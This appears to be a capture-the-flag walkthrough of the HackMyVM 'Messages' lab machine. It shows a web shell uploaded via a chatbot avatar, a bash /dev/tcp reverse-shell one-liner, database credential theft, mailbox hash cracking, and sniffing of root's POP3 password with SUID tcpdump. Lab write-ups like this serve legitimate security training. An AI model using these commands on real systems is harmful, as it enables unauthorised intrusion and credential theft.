HackMyVm Messages Walkthrough


Detect IP.

 ~/D/messages $sudo arp-scan --interface eth1                               
 Interface: eth1, type: EN10MB, MAC: 00:0c:29:54:ae:ed, IPv4:
 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)    0a:00:27:00:00:0c       (Unknown: locally administered)    08:00:27:51:de:85       PCS Systemtechnik GmbH  08:00:27:64:e1:a1       PCS Systemtechnik GmbH

Add messages.hmv into /etc/hosts.

Scan open ports.

 ~/D/messages $nmap  -p-  --open                                      08:54:00
 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-01 08:54 CST
 Nmap scan report for darkmatter.hmv (
 Host is up (0.0066s latency).
 Not shown: 65525 filtered tcp ports (no-response)
 Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
 22/tcp  open  ssh
 25/tcp  open  smtp
 80/tcp  open  http
 110/tcp open  pop3
 143/tcp open  imap
 443/tcp open  https
 465/tcp open  smtps
 587/tcp open  submission
 993/tcp open  imaps
 995/tcp open  pop3s

Too many ports open. Start from port 80, it will redirect to https.

There are 2 entries, one is Chatbot, the other is Webmail.

First check Chatbot. We can found 2 POC on exploit-db, but I didn't succeed. So we check source code of Chatbot, and found default creds.  

Login with this credentials. In setting panel, like exploit-db said, we can upload php shell through bot avatar or user avatar.

Upload php rev shell, visit https://messages.hmv/chatbot/uploads/user_avatar.php in browser, and we get revshell. And because the rev shell will timeout every 60 sec, so we need to spawn another shell in order to sustain.

 ~/D/messages $nc -nlvp 1234           
 listening on [any] 1234 ...
 connect to [] from (UNKNOWN) [] 32900
 Linux messages 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 GNU/Linux
  01:19:56 up 37 min,  0 users,  load average: 0.00, 0.00, 0.00
 USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 /bin/sh: 0: can't access tty; job control turned off
 $ id
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 $ /bin/bash -c '/bin/bash -i >& /dev/tcp/ 0>&1'
 ~/D/messages $nc -nlvp 2234        
 listening on [any] 2234 ...
 connect to [] from (UNKNOWN) [] 50860
 bash: cannot set terminal process group (433): Inappropriate ioctl for device
 bash: no job control in this shell
 www-data@messages:/$ id
 uid=33(www-data) gid=33(www-data) groups=33(www-data)

There are 4 users in /home, seems next step is to escalate to ruby.

 www-data@messages:/home$ ls -la
 ls -la
 total 24
 drwxr-xr-x  6 root      root      4096 Jan 26 18:06 .
 drwxr-xr-x 18 root      root      4096 Jan 26 17:45 ..
 drwxr-xr-x  2 iredadmin iredadmin 4096 Jan 26 18:06 iredadmin
 drwxr-xr-x  2 iredapd   iredapd   4096 Jan 26 18:06 iredapd
 drwxr-xr-x  4 ruby      ruby      4096 Jan 27 14:58 ruby
 drwxr-xr-x  2 vmail     vmail     4096 Jan 26 18:06 vmail
 www-data@messages:/home$ cd ruby
 cd ruby
 www-data@messages:/home/ruby$ ls -la
 ls -la
 total 36
 -rw-r--r-- 1 ruby ruby  223 Jan 27 14:58 notes
 -r--r----- 1 ruby ruby   34 Jan 27 09:31 userflag.txt
 www-data@messages:/home/ruby$ cat notes
 cat notes
 trusted certificate
 Change shell password to match webmail (stronger password)
 check email/iredadmin working OK
 get chatbot working
 connect from desktop
 ssh keys only
 create mailbox for root scripts (same pw)

After some enum, we found db creds in /var/www/html/chatbot.

 www-data@messages:~/html/chatbot$ cat initialize.php
 cat initialize.php
 $dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
 if(!defined('base_url')) define('base_url','/chatbot/');
 if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
 if(!defined('dev_data')) define('dev_data',$dev_data);
 if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
 if(!defined('DB_USERNAME')) define('DB_USERNAME',"chatbot");
 if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"chatbot");
 if(!defined('DB_NAME')) define('DB_NAME',"chatbot");

We spawn an interactive shell, then login mysql with this creds.

 www-data@messages:/home$ python3 -c 'import pty;pty.spawn("/bin/bash")'
 python3 -c 'import pty;pty.spawn("/bin/bash")'
 www-data@messages:/home$ mysql -u chatbot -p
 mysql -u chatbot -p
 Enter password: chatbot
 Welcome to the MariaDB monitor.  Commands end with ; or \g.
 Your MariaDB connection id is 156
 Server version: 10.5.12-MariaDB-0+deb11u1 Debian 11
 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 MariaDB [(none)]> show databases;
 show databases;
 | Database           |
 | amavisd            |
 | chatbot            |
 | information_schema |
 | iredadmin          |
 | iredapd            |
 | mysql              |
 | performance_schema |
 | roundcubemail      |
 | vmail              |
 9 rows in set (0.007 sec)

After some enum, we can find password hash in vmail-->mailbox.

 MariaDB [(none)]> use vmail;
 use vmail;
 Database changed
 MariaDB [vmail]> show tables;
 show tables;
 | Tables_in_vmail      |
 | admin                |
 | mailbox              |                                                                 ...
 MariaDB [vmail]> show columns in mailbox;
 show columns in mailbox;
 | Field                    | Type         | Null | Key | Default             | Extra |
 | username                 | varchar(255) | NO   | PRI |                     |       |
 | password                 | varchar(255) | NO   |     |                     |       |
 | name                     | varchar(255) | NO   |     |                     |       |
 MariaDB [vmail]> select username,password from mailbox;
 select username,password from mailbox;
 | username                | password|
 | postmaster@messages.hmv | {SSHA512}rxxxxxxxxxxxxxxxxxxxxxd     |
 | root@messages.hmv       | {SSHA512}hhxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxz9 |
 | ruby@messages.hmv       | {SSHA512}xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxA |

Save hash of ruby in a file(with the prefix SSHA512}), and crack it with john, we get password of ruby@messages.hmv. It's not pass of user ruby, we can not directly escalate to user ruby.

 ~/D/messages $john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt               
 Using default input encoding: UTF-8
 Loaded 1 password hash (SSHA512, LDAP [SHA512 256/256 AVX2 4x])
 No password hashes left to crack (see FAQ)
 ~/D/messages $john --show hash.txt                                                  

Login mailbox of ruby, check email sent, we get ssh key.

We also notice, there is some script owned by root is running on the machine.

Login ssh as user ruby with ssh key.

 ~/D/messages $vim id_rsa               
 ~/D/messages $chmod 600 id_rsa          
 ~/D/messages $ssh ruby@ -i id_rsa                                      
 ruby@messages:~$ id
 uid=1000(ruby) gid=1000(ruby) groups=1000(ruby),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

Upload pspy and run it, we can notice there is a script about pop3, running by root every minute.

 2022/02/01 01:48:01 CMD: UID=0    PID=3490   | /bin/sh -c /usr/bin/python3 /root/checkmail.py > /root/pop3.log
 2022/02/01 01:49:01 CMD: UID=0    PID=3502   | /bin/sh -c /usr/bin/python3 /root/checkmail.py > /root/pop3.log

We also notice, tcpdump get SUID.

 ruby@messages:~$ find / -perm -u=s 2>/dev/null
 ruby@messages:~$ ls -la /usr/bin/tcpdump
 -rwsr-x--- 1 root ruby 1261512 Jan 15  2021 /usr/bin/tcpdump

So we think maybe we can use tcpdump to sniff something on localhost about the root script.

So we let tcpdump print data, and save into some file at the same time.

 ~ruby@messages:~$ tcpdump -i lo -w - |tee /tmp/ruby.pcap
 tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes

After 1 minute, we exit tcpdump, download the cap file, and analyse it in wireshark.

Found datapack of protocol POP3, we can get password of root, because root try to login POP3 service. :)



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